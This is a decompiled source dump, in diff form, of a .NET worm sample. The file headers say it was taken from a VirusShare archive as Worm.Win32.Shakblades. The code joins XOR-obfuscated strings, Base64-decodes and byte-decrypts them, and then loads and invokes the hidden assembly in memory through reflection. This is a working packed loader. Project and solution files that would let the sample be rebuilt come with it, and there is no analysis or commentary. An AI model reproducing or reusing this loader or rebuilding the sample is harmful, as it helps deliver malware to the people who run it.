\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193C\u196Eᥤ\u197B\u193D\u196Eᥥ\u197Aᥘ\u196Eᥥ\u1979\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193C\u196Eᥥ\u197F\u193D\u196Eᥥ\u197A\u197A\u196Eᥥ\u1979\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193C\u196Eᥥ\u197B\u193D\u196Eᥥ\u1979᥈\u196Eᥥ\u197B\u193D᤻\u197F\u197B\u193D\u196Eᥬ\u197Bᤳ\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥬ\u197Bᤳ\u1979ᥥ\u197B\u193D\u196E\u197F᥉\u193Dᥱᥓ\u1979ᥑ\u196E\u197F᥉\u193D\u197Dᤸ\u1979᥆\u196E\u1978᤺\u193D\u197Cᤸ\u1979\u1941\u196E\u1978ᥣ\u193D᤹ᥓ\u1979᥏\u196E\u1978ᥣ\u193D\u197C\u1943\u1979\u1941\u196Eᥥ\u197B\u193D\u196Eᥥᥤᤸᥭᥦᥧ\u193F\u196Eᥥ\u197B\u193C\u196Eᥥ\u197B\u193D\u196Eᤸ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193C\u196Eᥥ\u197B\u193D\u196Eᥥ\u197A\u193E\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u193E\u193D\u196Eᥥ\u197Bᤳ\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D\u197Dᥥ\u197B\u193D\u196Eᥥ\u197F\u193D᤻\u1943\u1979ᥩ\u196E\u197Eᥳ\u193D\u197C\u1943\u1979ᥡ\u196E\u197Eᥑ\u193Dᤸᤸ\u1979᥏\u196E\u197Eᥣ\u193D\u193F\u1943\u1979\u197B\u196Eᥥ\u197B\u193D\u196Eᥥ\u197A\u196E\u196Eᥥ\u193E\u193D\u196Eᥥ\u1979᥄\u196E\u197Eᥳ\u193D᤹ᤸ\u1979ᥤ\u196E\u197E᤺\u193D\u193Eᥥ\u1979ᥩ\u196E\u197E\u193E\u193D\u193Fᤸ\u1979\u197B\u196E\u197Eᥣ\u193D\u196Eᥥ\u197B\u193D\u196Eᥥ\u197B\u193D᥀ᥥ\u193E\u197A\u196Eᤸ\u197B\u193D\u196Eᤸ\u1979᥅\u196E\u197E\u193E\u193D\u193C", 6411));
|
||||
stringBuilder.Append(\u003CModule\u003E.Decrypt("ₖ€₴₻₫₶⃪⃨\u2086€\u209F₻₫ₐ⃫⃨₰€₸₻₭ₐ⃨⃨ₖ€₹₻₫₲⃨₻₰₮ₙ₻⃭₮⃨₻⃭₯₯₻₯₮⃨₯₰₯₯₻₯₮⃨€₰€₽₻₯₮⃨₻₰₯₫₻₱ₜ⃨₻⃭€\u209F₻₫ₐ⃫⃨₰€₸₻€⃫⃨⃭⃭€₪₻₪⃯⃨⃩ₖ€₴₻₫₮⃨⃩₰€₴₻₫₲⃨⃨ₖ₮⃨₻₰₮⃫⃨\u2086€₮₻₪₦⃨⃬⃭€₺₻₰₮⃨₯₰₯\u209D₻₰₪⃨₩ₖ€₴₻₫\u2084⃨⃭⃭€\u208F₻₪⃨⃧⃩ₖ€₪₻₫ₐ⃨⃨\u2086€₱₻₰₮⃨₻₰₯€₻₯₶⃨₯₰₯₱₻₯₮⃨₯ₖ₯₯₻₰₮⃨€₰₯ₛ₻₰₪⃨₩⃭€₱₻₫⃫⃨⃭⃭€₭₻₫₶⃨⃬⃭€₳₻₭₶⃨⃬⃭€₰₻₪⃨⃧₻₰€₲₻₫₲⃨⃭ₖ€₼₻₪⃯⃨₯ₖ€₻₻₫\u2084⃫⃨₰₮⃨₻₭ₔ⃨₴ₖ₮⃩₻₭\u2084⃨⃭⃭€₶₻₪₪⃫⃨₰₯⃧₻₫₲⃨⃨₰€₤₻₫₦⃪⃨⃭€₶₻₫ₔ⃨⃩₰₮⃨₻€⃯⃨⃨\u2086€₯₻₨ₐ⃨⃩ₖ€₴₻₫ₘ⃪⃨₰€₫₻₮₮⃨ₗ⃭₯\u20BF₻₮₮⃨€ₖ₯₯₻₯₪⃨₯₰₮⃨₻€\u2084⃨₶ₖ₮⃩₻₭₲⃨⃩ₖ€₴₻₫ₘ⃪⃨⃭€₱₻₪₪⃫⃨₰€\u209F₻₫ₐ⃫⃨₰€₸₻₫₶⃨⃬⃭€₰₻₪⃨⃧₻₰€₲₻₫₲⃨⃭ₖ€₼₻₪⃯⃨₯ₖ€₻₻₫\u2084⃫⃨₰₮⃨₻₯\u2084⃨₹ₖ₮⃩₻₭₮⃨⃩ₖ€₮₻₪⃫⃨⃭⃩€₺₻₫⃫⃨₧ₖ€₼₻₫₺⃨⃭⃭₮⃨₻₰₮⃫⃨\u2086€₮₻₪₦⃨⃬⃭€₺₻₰₮⃨€₰₯\u209D₻₰₪⃨₧₰€₭₻₫₲⃨⃭₰€₨₻₪⃯⃨⃩₰€\u208F₻₪⃨⃧⃩ₖ€₪₻₫ₐ⃨⃨\u2086€₱₻₰₮⃨₯⃭₯₱₻₯₮⃨₯ₖ₯₯₻₯₶⃨₯₰₮⃨₻€ₔ⃨₹₰₮⃩₻€₪⃨⃩\u2086€₪₻₪⃫⃨⃭⃧€₽₻₫\u2084⃦⃨⃭₯\u20BF₻₪ₜ⃨⃭⃭€₭₻₫⃪⃯⃨⃭€₮₻₫₶⃨₻₰₯€₻₯₶⃨₯₰₯₱₻₯₮⃨₯ₖ₯₯₻₰₮⃨₻₰₮⃨₻₰₮⃨₻₰", 8414));
|
||||
stringBuilder.Append(\u003CModule\u003E.Decrypt("ᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚄᚚᛜᚏᚍᛗᛗ", 5866));
|
||||
Type type = Assembly.Load(CMwZlOmaLXgKVpu.q7UZDIG77nvBq9zhem(Convert.FromBase64String(stringBuilder.ToString()))).GetType(\u003CModule\u003E.Decrypt("\u1A9E\u1A9A᪗᪔᪖\u1ADB\u1A9E\u1A9A᪗᪔᪖", 6901));
|
||||
object objectValue = RuntimeHelpers.GetObjectValue(Activator.CreateInstance(type));
|
||||
type.GetMethod(\u003CModule\u003E.Decrypt("ᏌᏈᏅᏆᏄ", 5031)).Invoke(RuntimeHelpers.GetObjectValue(objectValue), new object[1]
|
||||
{
|
||||
(object) new ArrayList()
|
||||
{
|
||||
(object) qXbqqAnJvo5L6Y3cHY,
|
||||
(object) qWrEwlFfxusj3J7ts44g
|
||||
}
|
||||
});
|
||||
return (object) null;
|
||||
}
|
||||
|
||||
[DllImport("mitab.dll", EntryPoint = "_mitab_c_get_text_width@4", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern double mitab_c_get_text_width(long feature);
|
||||
|
||||
[DllImport("mitab.dll", EntryPoint = "_mitab_c_get_type@4", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern long mitab_c_get_type(long feature);
|
||||
|
||||
[DllImport("mitab.dll", EntryPoint = "_mitab_c_get_vertex_count@8", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern long mitab_c_get_vertex_count(long feature, long part);
|
||||
|
||||
[DllImport("mitab.dll", EntryPoint = "_mitab_c_get_vertex_x@12", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern double mitab_c_get_vertex_x(long feature, long part, long vertex);
|
||||
|
||||
[DllImport("mitab.dll", EntryPoint = "_mitab_c_get_vertex_y@12", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern double mitab_c_get_vertex_y(long feature, long part, long vertex);
|
||||
|
||||
[DllImport("mitab.dll", EntryPoint = "_mitab_c_getlasterrormsg_vb@8", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern long mitab_c_getlasterrormsg_vb([MarshalAs(UnmanagedType.VBByRefStr)] ref string errormsg, long l);
|
||||
|
||||
[DllImport("mitab.dll", EntryPoint = "_mitab_c_getlasterrorno@0", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern long mitab_c_getlasterrorno();
|
||||
|
||||
[DllImport("mitab.dll", EntryPoint = "_mitab_c_next_feature_id@8", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern long mitab_c_next_feature_id(long handle, long last_feature_id);
|
||||
|
||||
[DllImport("mitab.dll", EntryPoint = "_mitab_c_open@4", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern long mitab_c_open([MarshalAs(UnmanagedType.VBByRefStr)] ref string filename);
|
||||
|
||||
[DllImport("mitab.dll", EntryPoint = "_mitab_c_read_feature@8", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern long mitab_c_read_feature(long handle, long feature_id);
|
||||
|
||||
[DllImport("mitab.dll", EntryPoint = "_mitab_c_set_arc@52", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern void mitab_c_set_arc(
|
||||
long feature,
|
||||
double center_x,
|
||||
double center_y,
|
||||
double x_radius,
|
||||
double y_radius,
|
||||
double start_angle,
|
||||
double end_angle);
|
||||
|
||||
[DllImport("mitab.dll", EntryPoint = "_mitab_c_set_brush@20", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern void mitab_c_set_brush(
|
||||
long feature,
|
||||
long fg_color,
|
||||
long bg_color,
|
||||
long pattern,
|
||||
long transparent);
|
||||
|
||||
[DllImport("mitab.dll", EntryPoint = "_mitab_c_set_field@12", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern void mitab_c_set_field(long feature, long field_index, [MarshalAs(UnmanagedType.VBByRefStr)] ref string value);
|
||||
|
||||
[DllImport("mitab.dll", EntryPoint = "_mitab_c_set_font@8", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern void mitab_c_set_font(long feature, [MarshalAs(UnmanagedType.VBByRefStr)] ref string font_name);
|
||||
|
||||
[DllImport("mitab.dll", EntryPoint = "_mitab_c_set_pen@16", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern void mitab_c_set_pen(long feature, long width, long pattern, long color);
|
||||
|
||||
[DllImport("mitab.dll", EntryPoint = "_mitab_c_set_points@20", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern void mitab_c_set_points(
|
||||
long feature,
|
||||
long part,
|
||||
long vertex_count,
|
||||
double x,
|
||||
double y);
|
||||
|
||||
[DllImport("mitab.dll", EntryPoint = "_mitab_c_set_symbol@16", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern void mitab_c_set_symbol(
|
||||
long feature,
|
||||
long symbol_no,
|
||||
long symbol_size,
|
||||
long symbol_color);
|
||||
|
||||
[DllImport("mitab.dll", EntryPoint = "_mitab_c_set_text@8", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern void mitab_c_set_text(long feature, [MarshalAs(UnmanagedType.VBByRefStr)] ref string text);
|
||||
|
||||
[DllImport("mitab.dll", EntryPoint = "_mitab_c_set_text_display@48", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern void mitab_c_set_text_display(
|
||||
long feature,
|
||||
double angle,
|
||||
double height,
|
||||
double width,
|
||||
long fg_color,
|
||||
long bg_color,
|
||||
long justification,
|
||||
long spacing,
|
||||
long linetype);
|
||||
|
||||
[DllImport("mitab.dll", EntryPoint = "_mitab_c_write_feature@8", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern long mitab_c_write_feature(long handle, long feature);
|
||||
|
||||
[DllImport("mitab.dll", EntryPoint = "_mitab_c_get_field_width@8", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern long mitab_c_get_field_width(long handle, long field);
|
||||
|
||||
[DllImport("mitab.dll", EntryPoint = "_mitab_c_get_field_precision@8", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern long mitab_c_get_field_precision(long handle, long field);
|
||||
|
||||
[DllImport("mitab.dll", EntryPoint = "_mitab_c_is_interior_ring@8", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern long mitab_c_is_interior_ring(long feature, long requestedringindex);
|
||||
|
||||
[DllImport("mitab.dll", EntryPoint = "_mitab_c_load_coordsys_table@4", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern long mitab_c_load_coordsys_table([MarshalAs(UnmanagedType.VBByRefStr)] ref string filename);
|
||||
|
||||
[DllImport("mitab.dll", EntryPoint = "_mitab_c_get_feature_count@4", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern long mitab_c_get_feature_count(long handle);
|
||||
|
||||
[DllImport("mitab.dll", EntryPoint = "_mitab_c_get_field_as_double_vb@8", CharSet = CharSet.Ansi, SetLastError = true)]
|
||||
public static extern double mitab_c_get_field_as_double(long feature, long field);
|
||||
|
||||
[DllImport("MediaInfo.DLL", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
public static extern IntPtr MediaInfo_New();
|
||||
|
||||
[DllImport("MediaInfo.DLL", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
public static extern void MediaInfo_Delete(IntPtr Handle);
|
||||
|
||||
[DllImport("MediaInfo.DLL", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
public static extern UIntPtr MediaInfo_Open(IntPtr Handle, [MarshalAs(UnmanagedType.VBByRefStr)] ref string FileName);
|
||||
|
||||
[DllImport("MediaInfo.DLL", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
public static extern void MediaInfo_Close(IntPtr Handle);
|
||||
|
||||
public static byte[] q7UZDIG77nvBq9zhem(byte[] q4MB3n3Ikv6WlBBccnh)
|
||||
{
|
||||
byte[] numArray = new byte[checked (q4MB3n3Ikv6WlBBccnh.Length - 4 + 1)];
|
||||
int num1 = (int) q4MB3n3Ikv6WlBBccnh[0];
|
||||
int num2 = checked (q4MB3n3Ikv6WlBBccnh.Length - 1);
|
||||
int index = 3;
|
||||
while (index <= num2)
|
||||
{
|
||||
if (num1 == (int) q4MB3n3Ikv6WlBBccnh[1] | num1 > (int) q4MB3n3Ikv6WlBBccnh[1])
|
||||
num1 = (int) q4MB3n3Ikv6WlBBccnh[0];
|
||||
int num3 = checked ((int) q4MB3n3Ikv6WlBBccnh[index] - num1);
|
||||
if (num3 < 0)
|
||||
checked { num3 += 256; }
|
||||
if (num3 > (int) byte.MaxValue)
|
||||
checked { num3 -= 256; }
|
||||
numArray[checked (index - 3)] = checked ((byte) num3);
|
||||
checked { num1 += 1 + (int) q4MB3n3Ikv6WlBBccnh[2]; }
|
||||
checked { ++index; }
|
||||
}
|
||||
return numArray;
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: My.MyApplication
|
||||
// Assembly: ZaKobca, Version=3.5.6.3, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 24C7DB63-A921-4F9A-9D96-055C9B4B2DE7
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Worm.Win32.Shakblades.wqv-585845610cfb223567a36aeac7ad3ff102d1d10ddb51ef11a5b073debad1e466.exe
|
||||
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
|
||||
namespace My
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
internal class MyApplication : ApplicationBase
|
||||
{
|
||||
}
|
||||
}
|
||||
+24
@@ -0,0 +1,24 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: My.MyComputer
|
||||
// Assembly: ZaKobca, Version=3.5.6.3, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 24C7DB63-A921-4F9A-9D96-055C9B4B2DE7
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Worm.Win32.Shakblades.wqv-585845610cfb223567a36aeac7ad3ff102d1d10ddb51ef11a5b073debad1e466.exe
|
||||
|
||||
using Microsoft.VisualBasic.Devices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
|
||||
namespace My
|
||||
{
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal class MyComputer : Computer
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public MyComputer()
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
+108
@@ -0,0 +1,108 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: My.MyProject
|
||||
// Assembly: ZaKobca, Version=3.5.6.3, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 24C7DB63-A921-4F9A-9D96-055C9B4B2DE7
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Worm.Win32.Shakblades.wqv-585845610cfb223567a36aeac7ad3ff102d1d10ddb51ef11a5b073debad1e466.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.ComponentModel.Design;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace My
|
||||
{
|
||||
[HideModuleName]
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
[StandardModule]
|
||||
internal sealed class MyProject
|
||||
{
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
|
||||
|
||||
[HelpKeyword("My.Computer")]
|
||||
internal static MyComputer Computer
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Application")]
|
||||
internal static MyApplication Application
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.User")]
|
||||
internal static User User
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.WebServices")]
|
||||
internal static MyProject.MyWebServices WebServices
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal sealed class MyWebServices
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public override int GetHashCode() => base.GetHashCode();
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal new Type GetType() => typeof (MyProject.MyWebServices);
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public override string ToString() => base.ToString();
|
||||
|
||||
[DebuggerHidden]
|
||||
private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
|
||||
|
||||
[DebuggerHidden]
|
||||
private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public MyWebServices()
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[ComVisible(false)]
|
||||
internal sealed class ThreadSafeObjectProvider<T> where T : new()
|
||||
{
|
||||
internal T GetInstance
|
||||
{
|
||||
[DebuggerHidden] get
|
||||
{
|
||||
if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
|
||||
MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
|
||||
return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
|
||||
}
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public ThreadSafeObjectProvider()
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+46
@@ -0,0 +1,46 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Worm.Win32.Shakblades.wqv-585845610cfb223567a36aeac7ad3ff102d1d10ddb51ef11a5b073debad1e466.exe-->
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{65E5045F-211C-49CF-BADB-EC39EF23483F}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<AssemblyName>ZaKobca</AssemblyName>
|
||||
<ApplicationVersion>3.5.6.3</ApplicationVersion>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="Microsoft.VisualBasic" />
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="_003CModule_003E.cs" />
|
||||
<Compile Include="zbmkKzNPTlFTxOZ.cs" />
|
||||
<Compile Include="CMwZlOmaLXgKVpu.cs" />
|
||||
<Compile Include="My\MyApplication.cs" />
|
||||
<Compile Include="My\MyComputer.cs" />
|
||||
<Compile Include="My\MyProject.cs" />
|
||||
<Compile Include="AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 9.00
|
||||
# Visual Studio 2005
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ZaKobca", "Worm.Win32.Shakblades.wqv-585845610cfb223567a36aeac7ad3ff102d1d10ddb51ef11a5b073debad1e466.csproj", "{65E5045F-211C-49CF-BADB-EC39EF23483F}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{65E5045F-211C-49CF-BADB-EC39EF23483F}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{65E5045F-211C-49CF-BADB-EC39EF23483F}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{65E5045F-211C-49CF-BADB-EC39EF23483F}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{65E5045F-211C-49CF-BADB-EC39EF23483F}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
+16
@@ -0,0 +1,16 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: <Module>
|
||||
// Assembly: ZaKobca, Version=3.5.6.3, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 24C7DB63-A921-4F9A-9D96-055C9B4B2DE7
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Worm.Win32.Shakblades.wqv-585845610cfb223567a36aeac7ad3ff102d1d10ddb51ef11a5b073debad1e466.exe
|
||||
|
||||
internal class \u003CModule\u003E
|
||||
{
|
||||
static string Decrypt(string v, int s)
|
||||
{
|
||||
char[] charArray = v.ToCharArray();
|
||||
for (int index = 0; index < charArray.Length; ++index)
|
||||
charArray[index] = (char) ((uint) charArray[index] ^ (uint) s);
|
||||
return new string(charArray);
|
||||
}
|
||||
}
|
||||
+535
File diff suppressed because one or more lines are too long
+189
@@ -0,0 +1,189 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
